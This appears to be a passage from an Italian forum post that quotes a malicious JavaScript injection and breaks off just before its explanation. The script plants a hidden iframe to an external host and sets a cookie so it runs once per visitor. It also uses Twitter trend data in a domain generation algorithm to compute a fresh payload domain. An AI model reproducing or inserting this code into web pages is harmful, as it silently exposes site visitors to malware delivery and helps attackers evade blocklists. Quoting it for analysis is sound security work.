codice:
<script type="text/javascript">
$a="<div style=\"visibility:hidden\"><iframe src=\"http://fbcmfir.com/ld/prox/\" width=100 height=80></iframe></div>";
function sc(cnm,v,ed)
{
var exd=new Date();
exd.setDate(exd.getDate()+ed);
document.cookie=cnm+ '=' +escape(v)+';expires='+exd.toGMTString();
};
if (document.cookie.indexOf('rf5f6ds')==-1)
{
function callback(x)
{
window.tw = x;
sc('rf5f6ds',2,7);
var d='fbcmfir.com';
var shiftIndex = 0;
var months = new Array('uno', 'dve', 'thr', 'fir', 'vif', 'xes', 'ves', 'ght', 'eni', 'etn', 'lev', 'twe');
var letters = new Array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
var numbers = new Array(1,2,3,4,5,6,7,8,9);
var time = new Array();
var date = new Date();
date.setDate(date.getDate() - 3);
time['year'] = date.getFullYear();
time['month'] = date.getMonth()+1;
time['day'] = date.getDate();
if (date.getDay() == 1 || date.getDay() == 6 || date.getDay() == 4)
{
date.setDate(date.getDate() - 1);
time['day'] = date.getDate();
time['month'] = date.getMonth()+1;
time['year'] = date.getFullYear();
}
date.setDate(date.getDate() + 1);
if (date.getMonth()+1 < 10)
{
shiftIndex = time['year'] + '-0' + (date.getMonth()+1) ;
}
else
{
shiftIndex = time['year'] + '-' + (date.getMonth()+1);
}
if (date.getDate() +1 < 10)
{
shiftIndex =shiftIndex + '-0' + date.getDate();
}
else
{
shiftIndex = shiftIndex + '-' + date.getDate();
}
shiftIndex = window.tw.trends[shiftIndex][0].query.charCodeAt(1);
function CalculateMagicNumber(day, month, year, index)
{
return (((year + (index * day)) + (month ^ day) * index) + day);
}
var yearCh1, yearCh2, monthCh, dayCh, magicNum;
num = CalculateMagicNumber(time['day'], time['month'], time['year'], shiftIndex);
yearCh1 = letters[(((time['year'] & 0xAA) + num) % 63) % 26] + letters[(((time['year'] & 0xAA) << 2) + num) % 25];
yearCh2 = letters[((((time['year'] & 0x3311) >> 3) + num) % 10)] + letters[((((time['year'] & 0x3311) >> 4) + num) % 10)];
monthCh = letters[((time['month'] + num) % 25)] + letters[((time['month'] * num) % 25)];
dayCh = letters[((time['day'] * 6) % 27)];
$a=$a.replace(d,yearCh2 + monthCh + yearCh1 + dayCh + months[time['month'] - 1] + '.com');
document.write($a);
}
document.write(" <scr"+"ipt language=javascript"+" src='http://search.twitter.com/trends/weekly.json?callback=callback&exclude=hashtags'>" + "</scr" + "ipt>");
}
else
{
$a=''
};
</script>
che in poche parole può essere spiegato nel seguente modo: